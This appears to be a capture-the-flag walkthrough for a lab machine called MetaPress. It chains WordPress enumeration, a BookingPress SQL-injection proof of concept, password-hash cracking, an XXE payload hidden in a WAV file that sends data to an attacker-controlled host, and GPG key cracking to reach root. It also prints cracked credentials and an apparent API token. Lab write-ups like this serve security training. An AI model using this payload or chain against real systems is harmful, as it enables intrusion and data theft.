$ IP=10.129.228.95

Full Port Scan

$ nmap $IP -sV -T4 -n -Pn --max-rtt-timeout 1500ms --min-rate 1000 --max-retries 3 --open -p- -oA full_port_scan --stats-every=5s -vv

Service Scan

$ nmap $IP -sC -p21,22,80 -vv -n

hostname : metapress.htb

$ echo "$IP metapress.htb" | sudo tee -a /etc/hosts

Web Enumeration

$ HOSTNAME=http://metapress.htb
$ curl -s $HOSTNAME | grep WordPress

$ curl -s $HOSTNAME | grep themes

$ curl -s $HOSTNAME | grep plugins

-> Nothing

$ sudo wpscan --url $HOSTNAME --enumerate --api-token LrVndrFBHYxPJDd7s6IXSeR7Pdc07YlAsLJE7w97fiI

Two Users:

admin and manager

http://metapress.htb/events/

There is a plugin named bookingpress-appointment-booking plugin and tried to find and exploit in the googling.

https://github.com/destr4ct/CVE-2022-0739/blob/main/booking-press-expl.py

$ python3 booking-sqlinjector.py -u http://metapress.htb -n 81a819feb3
- BookingPress PoC
-- Got db fingerprint:  10.5.15-MariaDB-0+deb11u1
-- Count of users:  2
|admin|admin@metapress.htb|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|manager@metapress.htb|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

manager:partylikearockstar

After i tried to log in then searched a wordpress media library file upload exploit.

https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/

$ cat payloadcreate.py
payload = b"RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<!DOCTYPE r [\n" \
          b"<!ELEMENT r ANY >\n" \
          b'<!ENTITY % sp SYSTEM "http://10.10.15.178:9001/xxe.dtd">\n' \
          b"%sp;\n" \
          b"%param1;\n" \
          b"]>\n" \
b"<r>&exfil;</r>"
 
with open("payload.wav", "wb") as f:
    f.write(payload)

create the payload.wav file

$ python3 -m http.server 9001

And then i tried to upload my payload.wav file

cyberchef.org

for the ftp creds:

metapress.htb:9NYS_ii@FyL_p5M2NvJ

$ ftp $IP

when i tried to log in by using these creds:

ssh:

jnelson:Cb4_JmWM8zUZWMu@Ys

Enumeration

When i tried to my enumeration in linux, i saw:

.passpie which is a command-line password manager like keepass or my tool https://dotnetguard.blog/yazi/dotnetguard-keybox

i got the .keys file but the BEGIN PGP PRIVATE KEY BLOCK to the my folder;

$ gpg2john keys > gpg_hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt gpg_hash.txt

the .passpie passphrase is "blink182"

$ passpie export --passphrase blink182 root_export.txt

$ su root
$ cat /root/root.txt